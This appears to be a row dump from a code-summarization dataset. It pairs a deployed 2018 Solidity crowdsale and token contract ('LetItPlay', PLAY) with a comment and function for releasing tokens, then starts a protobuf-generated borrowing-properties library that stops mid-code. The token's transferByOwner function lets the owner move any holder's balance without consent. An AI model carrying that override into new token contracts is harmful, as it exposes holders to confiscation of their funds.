file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
//Address: 0x24dc97fb4fd3517fa82943b00a60b0fd3bcf0688 //Contract name: Crowdsale //Balance: 0.151 Ether //Verification Date: 4/26/2018 //Transacion Count: 1571 // CODE STARTS HERE pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract HasManager { address public manager; modifier onlyManager { require(msg.sender == manager); _; } function transferManager(address _newManager) public onlyManager() { require(_newManager != address(0)); manager = _newManager; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; address public whitelistManager; function AddToWhiteList(address _addr) public { require(msg.sender == whitelistManager || msg.sender == owner); whitelist[_addr] = true; } function AssignWhitelistManager(address _addr) public onlyOwner { whitelistManager = _addr; } modifier whitelistedOnly { require(whitelist[msg.sender]); _; } } contract WithBonusPeriods is Ownable { uint256 constant INVALID_FROM_TIMESTAMP = 1000000000000; uint256 constant INFINITY_TO_TIMESTAMP= 1000000000000; struct BonusPeriod { uint256 fromTimestamp; uint256 toTimestamp; uint256 bonusNumerator; uint256 bonusDenominator; } BonusPeriod[] public bonusPeriods; BonusPeriod currentBonusPeriod; function WithBonusPeriods() public { initBonuses(); } function BonusPeriodsCount() public view returns (uint8) { return uint8(bonusPeriods.length); } //find out bonus for specific timestamp function BonusPeriodFor(uint256 timestamp) public view returns (bool ongoing, uint256 from, uint256 to, uint256 num, uint256 den) { for(uint i = 0; i < bonusPeriods.length; i++) if (bonusPeriods[i].fromTimestamp <= timestamp && bonusPeriods[i].toTimestamp >= timestamp) return (true, bonusPeriods[i].fromTimestamp, bonusPeriods[i].toTimestamp, bonusPeriods[i].bonusNumerator, bonusPeriods[i].bonusDenominator); return (false, 0, 0, 0, 0); } function initBonusPeriod(uint256 from, uint256 to, uint256 num, uint256 den) internal { bonusPeriods.push(BonusPeriod(from, to, num, den)); } function initBonuses() internal { //1-7 May, 20% initBonusPeriod(1525132800, 1525737599, 20, 100); //8-14 May, 15% initBonusPeriod(1525737600, 1526342399, 15, 100); //15 -21 May, 10% initBonusPeriod(1526342400, 1526947199, 10, 100); //22 -28 May, 5% initBonusPeriod(1526947200, 1527551999, 5, 100); } function updateCurrentBonusPeriod() internal { if (currentBonusPeriod.fromTimestamp <= block.timestamp && currentBonusPeriod.toTimestamp >= block.timestamp) return; currentBonusPeriod.fromTimestamp = INVALID_FROM_TIMESTAMP; for(uint i = 0; i < bonusPeriods.length; i++) if (bonusPeriods[i].fromTimestamp <= block.timestamp && bonusPeriods[i].toTimestamp >= block.timestamp) { currentBonusPeriod = bonusPeriods[i]; return; } } } contract ICrowdsaleProcessor is Ownable, HasManager { modifier whenCrowdsaleAlive() { require(isActive()); _; } modifier whenCrowdsaleFailed() { require(isFailed()); _; } modifier whenCrowdsaleSuccessful() { require(isSuccessful()); _; } modifier hasntStopped() { require(!stopped); _; } modifier hasBeenStopped() { require(stopped); _; } modifier hasntStarted() { require(!started); _; } modifier hasBeenStarted() { require(started); _; } // Minimal acceptable hard cap uint256 constant public MIN_HARD_CAP = 1 ether; // Minimal acceptable duration of crowdsale uint256 constant public MIN_CROWDSALE_TIME = 3 days; // Maximal acceptable duration of crowdsale uint256 constant public MAX_CROWDSALE_TIME = 50 days; // Becomes true when timeframe is assigned bool public started; // Becomes true if cancelled by owner bool public stopped; // Total collected Ethereum: must be updated every time tokens has been sold uint256 public totalCollected; // Total amount of project's token sold: must be updated every time tokens has been sold uint256 public totalSold; // Crowdsale minimal goal, must be greater or equal to Forecasting min amount uint256 public minimalGoal; // Crowdsale hard cap, must be less or equal to Forecasting max amount uint256 public hardCap; // Crowdsale duration in seconds. // Accepted range is MIN_CROWDSALE_TIME..MAX_CROWDSALE_TIME. uint256 public duration; // Start timestamp of crowdsale, absolute UTC time uint256 public startTimestamp; // End timestamp of crowdsale, absolute UTC time uint256 public endTimestamp; // Allows to transfer some ETH into the contract without selling tokens function deposit() public payable {} // Returns address of crowdsale token, must be ERC20 compilant function getToken() public returns(address); // Transfers ETH rewards amount (if ETH rewards is configured) to Forecasting contract function mintETHRewards(address _contract, uint256 _amount) public onlyManager(); // Mints token Rewards to Forecasting contract function mintTokenRewards(address _contract, uint256 _amount) public onlyManager(); // Releases tokens (transfers crowdsale token from mintable to transferrable state) function releaseTokens() public onlyManager() hasntStopped() whenCrowdsaleSuccessful(); // Stops crowdsale. Called by CrowdsaleController, the latter is called by owner. // Crowdsale may be stopped any time before it finishes. function stop() public onlyManager() hasntStopped(); // Validates parameters and starts crowdsale function start(uint256 _startTimestamp, uint256 _endTimestamp, address _fundingAddress) public onlyManager() hasntStarted() hasntStopped(); // Is crowdsale failed (completed, but minimal goal wasn't reached) function isFailed() public constant returns (bool); // Is crowdsale active (i.e. the token can be sold) function isActive() public constant returns (bool); // Is crowdsale completed successfully function isSuccessful() public constant returns (bool); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Crowdsaled is Ownable { address public crowdsaleContract = address(0); function Crowdsaled() public { } modifier onlyCrowdsale{ require(msg.sender == crowdsaleContract); _; } modifier onlyCrowdsaleOrOwner { require((msg.sender == crowdsaleContract) || (msg.sender == owner)); _; } function setCrowdsale(address crowdsale) public onlyOwner() { crowdsaleContract = crowdsale; } } contract LetItPlayToken is Crowdsaled, StandardToken { uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; address public forSale; address public preSale; address public ecoSystemFund; address public founders; address public team; address public advisers; address public bounty; address public eosShareDrop; bool releasedForTransfer; uint256 private shift; //initial coin distribution function LetItPlayToken( address _forSale, address _ecoSystemFund, address _founders, address _team, address _advisers, address _bounty, address _preSale, address _eosShareDrop ) public { name = "LetItPlay Token"; symbol = "PLAY"; decimals = 8; shift = uint256(10)**decimals; totalSupply = 1000000000 * shift; forSale = _forSale; ecoSystemFund = _ecoSystemFund; founders = _founders; team = _team; advisers = _advisers; bounty = _bounty; eosShareDrop = _eosShareDrop; preSale = _preSale; balances[forSale] = totalSupply * 59 / 100; balances[ecoSystemFund] = totalSupply * 15 / 100; balances[founders] = totalSupply * 15 / 100; balances[team] = totalSupply * 5 / 100; balances[advisers] = totalSupply * 3 / 100; balances[bounty] = totalSupply * 1 / 100; balances[preSale] = totalSupply * 1 / 100; balances[eosShareDrop] = totalSupply * 1 / 100; } function transferByOwner(address from, address to, uint256 value) public onlyOwner { require(balances[from] >= value); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); emit Transfer(from, to, value); } //can be called by crowdsale before token release, control over forSale portion of token supply function transferByCrowdsale(address to, uint256 value) public onlyCrowdsale { require(balances[forSale] >= value); balances[forSale] = balances[forSale].sub(value); balances[to] = balances[to].add(value); emit Transfer(forSale, to, value); } //can be called by crowdsale before token release, allowences is respected here function transferFromByCrowdsale(address _from, address _to, uint256 _value) public onlyCrowdsale returns (bool) { return super.transferFrom(_from, _to, _value); } //after the call token is available for exchange function releaseForTransfer() public onlyCrowdsaleOrOwner { require(!releasedForTransfer); releasedForTransfer = true; } //forbid transfer before release function transfer(address _to, uint256 _value) public returns (bool) { require(releasedForTransfer); return super.transfer(_to, _value); } //forbid transfer before release function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(releasedForTransfer); return super.transferFrom(_from, _to, _value); } function burn(uint256 value) public onlyOwner { require(value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value); balances[address(0)] = balances[address(0)].add(value); emit Transfer(msg.sender, address(0), value); } } contract BasicCrowdsale is ICrowdsaleProcessor { event CROWDSALE_START(uint256 startTimestamp, uint256 endTimestamp, address fundingAddress); // Where to transfer collected ETH address public fundingAddress; // Ctor. function BasicCrowdsale( address _owner, address _manager ) public { owner = _owner; manager = _manager; } // called by CrowdsaleController to transfer reward part of ETH // collected by successful crowdsale to Forecasting contract. // This call is made upon closing successful crowdfunding process // iff agreed ETH reward part is not zero function mintETHRewards( address _contract, // Forecasting contract uint256 _amount // agreed part of totalCollected which is intended for rewards ) public onlyManager() // manager is CrowdsaleController instance { require(_contract.call.value(_amount)()); } // cancels crowdsale function stop() public onlyManager() hasntStopped() { // we can stop only not started and not completed crowdsale if (started) { require(!isFailed()); require(!isSuccessful()); } stopped = true; } // called by CrowdsaleController to setup start and end time of crowdfunding process // as well as funding address (where to transfer ETH upon successful crowdsale) function start( uint256 _startTimestamp, uint256 _endTimestamp, address _fundingAddress ) public onlyManager() // manager is CrowdsaleController instance hasntStarted() // not yet started hasntStopped() // crowdsale wasn't cancelled { require(_fundingAddress != address(0)); // start time must not be earlier than current time require(_startTimestamp >= block.timestamp); // range must be sane require(_endTimestamp > _startTimestamp); duration = _endTimestamp - _startTimestamp; // duration must fit constraints require(duration >= MIN_CROWDSALE_TIME && duration <= MAX_CROWDSALE_TIME); startTimestamp = _startTimestamp; endTimestamp = _endTimestamp; fundingAddress = _fundingAddress; // now crowdsale is considered started, even if the current time is before startTimestamp started = true; emit CROWDSALE_START(_startTimestamp, _endTimestamp, _fundingAddress); } // must return true if crowdsale is over, but it failed function isFailed() public constant returns(bool) { return ( // it was started started && // crowdsale period has finished block.timestamp >= endTimestamp && // but collected ETH is below the required minimum totalCollected < minimalGoal ); } // must return true if crowdsale is active (i.e. the token can be bought) function isActive() public constant returns(bool) { return ( // it was started started && // hard cap wasn't reached yet totalCollected < hardCap && // and current time is within the crowdfunding period block.timestamp >= startTimestamp && block.timestamp < endTimestamp ); } // must return true if crowdsale completed successfully function isSuccessful() public constant returns(bool) { return ( // either the hard cap is collected totalCollected >= hardCap || // ...or the crowdfunding period is over, but the minimum has been reached (block.timestamp >= endTimestamp && totalCollected >= minimalGoal) ); } } contract Crowdsale is BasicCrowdsale, Whitelist, WithBonusPeriods { struct Investor { uint256 weiDonated; uint256 tokensGiven; } mapping(address => Investor) participants; uint256 public tokenRateWei; LetItPlayToken public token; // Ctor. MinimalGoal, hardCap, and price are not changeable. function Crowdsale( uint256 _minimalGoal, uint256 _hardCap, uint256 _tokenRateWei, address _token ) public // simplest case where manager==owner. See onlyOwner() and onlyManager() modifiers // before functions to figure out the cases in which those addresses should differ BasicCrowdsale(msg.sender, msg.sender) { // just setup them once... minimalGoal = _minimalGoal; hardCap = _hardCap; tokenRateWei = _tokenRateWei; token = LetItPlayToken(_token); } // Here goes ICrowdsaleProcessor implementation // returns address of crowdsale token. The token must be ERC20-compliant function getToken() public returns(address) { return address(token); } // called by CrowdsaleController to transfer reward part of // tokens sold by successful crowdsale to Forecasting contract. // This call is made upon closing successful crowdfunding process. function mintTokenRewards( address _contract, // Forecasting contract uint256 _amount // agreed part of totalSold which is intended for rewards ) public onlyManager() // manager is CrowdsaleController instance { // crowdsale token is mintable in this example, tokens are created here token.transferByCrowdsale(_contract, _amount); } // transfers crowdsale token from mintable to transferrable state function releaseTokens() public onlyManager() // manager is CrowdsaleController instance hasntStopped() // crowdsale wasn't cancelled whenCrowdsaleSuccessful() // crowdsale was successful { // see token example token.releaseForTransfer(); } function () payable public { require(msg.value > 0); sellTokens(msg.sender, msg.value); } function sellTokens(address _recepient, uint256 _value) internal hasBeenStarted() hasntStopped() whenCrowdsaleAlive() whitelistedOnly() { uint256 newTotalCollected = totalCollected + _value; if (hardCap < newTotalCollected) { uint256 refund = newTotalCollected - hardCap; uint256 diff = _value - refund; _recepient.transfer(refund); _value = diff; } uint256 tokensSold = _value * uint256(10)**token.decimals() / tokenRateWei; //apply bonus period updateCurrentBonusPeriod(); if (currentBonusPeriod.fromTimestamp != INVALID_FROM_TIMESTAMP) tokensSold += tokensSold * currentBonusPeriod.bonusNumerator / currentBonusPeriod.bonusDenominator; token.transferByCrowdsale(_recepient, tokensSold); participants[_recepient].weiDonated += _value; participants[_recepient].tokensGiven += tokensSold; totalCollected += _value; totalSold += tokensSold; } // project's owner withdraws ETH funds to the funding address upon successful crowdsale function withdraw(uint256 _amount) public // can be done partially onlyOwner() // project's owner hasntStopped() // crowdsale wasn't cancelled whenCrowdsaleSuccessful() // crowdsale completed successfully { require(_amount <= address(this).balance); fundingAddress.transfer(_amount); } // backers refund their ETH if the crowdsale was cancelled or has failed function refund() public { // either cancelled or failed require(stopped || isFailed()); uint256 weiDonated = participants[msg.sender].weiDonated; uint256 tokens = participants[msg.sender].tokensGiven; // prevent from doing it twice require(weiDonated > 0); participants[msg.sender].weiDonated = 0; participants[msg.sender].tokensGiven = 0; msg.sender.transfer(weiDonated); //this must be approved by investor token.transferFromByCrowdsale(msg.sender, token.forSale(), tokens); } }
transfers crowdsale token from mintable to transferrable state see token example
function releaseTokens() public { token.releaseForTransfer(); }
12,962,042
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.6.8; import "./ProtoBufRuntime.sol"; import "./GoogleProtobufAny.sol"; library BorrowingIssuanceProperty { //struct definition struct Data { address borrowingTokenAddress; address collateralTokenAddress; uint256 borrowingAmount; uint256 collateralRatio; uint256 collateralAmount; uint256 interestRate; uint256 interestAmount; uint256 tenorDays; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[9] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_borrowingTokenAddress(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_collateralTokenAddress(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_borrowingAmount(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_collateralRatio(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_collateralAmount(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_interestRate(pointer, bs, r, counters); } else if (fieldId == 7) { pointer += _read_interestAmount(pointer, bs, r, counters); } else if (fieldId == 8) { pointer += _read_tenorDays(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.borrowingTokenAddress = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.collateralTokenAddress = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.borrowingAmount = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralRatio( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.collateralRatio = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.collateralAmount = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_interestRate( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.interestRate = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_interestAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[7] += 1; } else { r.interestAmount = x; if (counters[7] > 0) counters[7] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_tenorDays( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[8] += 1; } else { r.tenorDays = x; if (counters[8] > 0) counters[8] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.borrowingTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.collateralTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.borrowingAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.collateralRatio, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.collateralAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.interestRate, pointer, bs); pointer += ProtoBufRuntime._encode_key( 7, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.interestAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 8, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.tenorDays, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @return The number of bytes encoded in estimation */ function _estimate( Data memory /* r */ ) internal pure returns (uint) { uint256 e; e += 1 + 23; e += 1 + 23; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; return e; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.borrowingTokenAddress = input.borrowingTokenAddress; output.collateralTokenAddress = input.collateralTokenAddress; output.borrowingAmount = input.borrowingAmount; output.collateralRatio = input.collateralRatio; output.collateralAmount = input.collateralAmount; output.interestRate = input.interestRate; output.interestAmount = input.interestAmount; output.tenorDays = input.tenorDays; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BorrowingIssuanceProperty library BorrowingEngagementProperty { //enum definition // Solidity enum definitions enum LoanState { LoanStateUnknown, Unpaid, Repaid, Delinquent } // Solidity enum encoder function encode_LoanState(LoanState x) internal pure returns (int64) { if (x == LoanState.LoanStateUnknown) { return 0; } if (x == LoanState.Unpaid) { return 1; } if (x == LoanState.Repaid) { return 2; } if (x == LoanState.Delinquent) { return 3; } revert(); } // Solidity enum decoder function decode_LoanState(int64 x) internal pure returns (LoanState) { if (x == 0) { return LoanState.LoanStateUnknown; } if (x == 1) { return LoanState.Unpaid; } if (x == 2) { return LoanState.Repaid; } if (x == 3) { return LoanState.Delinquent; } revert(); } //struct definition struct Data { BorrowingEngagementProperty.LoanState loanState; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[2] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_loanState(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == 